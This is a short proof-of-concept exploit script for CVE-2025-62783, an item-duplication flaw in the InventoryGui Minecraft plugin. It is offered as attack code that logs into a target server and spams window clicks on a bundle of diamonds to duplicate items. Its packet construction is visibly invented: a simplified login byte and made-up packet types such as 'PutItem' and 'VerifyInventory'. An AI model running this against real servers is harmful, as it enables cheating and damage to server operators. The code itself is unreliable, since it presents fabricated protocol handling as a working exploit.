CVE-2025-62783 InventoryGui插件物品复制漏洞

# CVE-2025-62783 PoC - InventoryGui Item Duplication # Target: Servers running InventoryGui <= 1.6.1-SNAPSHOT with Bundle feature enabled import socket import time def exploit_cve_2025_62783(target_ip, target_port): """ InventoryGui Item Duplication Exploit Prerequisites: - Server must have experimental.bundleItems enabled - Attacker must have access to a plugin using GuiStorageElement - InventoryGui version <= 1.6.1-SNAPSHOT """ # Step 1: Connect to the Minecraft server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Step 2: Login as a player login_packet = create_login_packet("attacker_player") sock.send(login_packet) # Step 3: Open the GUI containing a Bundle with items gui_open_packet = create_custom_packet("OpenGui", { "window_id": "storage_gui", "gui_type": "chest" }) sock.send(gui_open_packet) # Step 4: Put Bundle item into the GUI slot bundle_item = { "id": "minecraft:bundle", "count": 1, "tag": { "Items": [ {"id": "minecraft:diamond", "Count": 64} ] } } put_item_packet = create_custom_packet("PutItem", { "slot": 0, "item": bundle_item }) sock.send(put_item_packet) # Step 5: Rapidly click to extract Bundle (duplication trigger) # The vulnerability allows extracting without consuming the original for i in range(5): click_packet = create_custom_packet("WindowClick", { "slot": 0, "button": 0, "action_type": "PICKUP" }) sock.send(click_packet) time.sleep(0.05) # Rapid clicking triggers race condition # Step 6: Verify duplication by checking inventory verify_packet = create_custom_packet("VerifyInventory", {}) sock.send(verify_packet) sock.close() return "Exploit executed - check for duplicated items in Bundle" def create_login_packet(username): # Minecraft protocol login packet (simplified) return b'\x00' + username.encode('utf-8') def create_custom_packet(packet_type, data): # Create custom plugin message packet payload = f"{packet_type}:{str(data)}".encode('utf-8') return b'\x17' + payload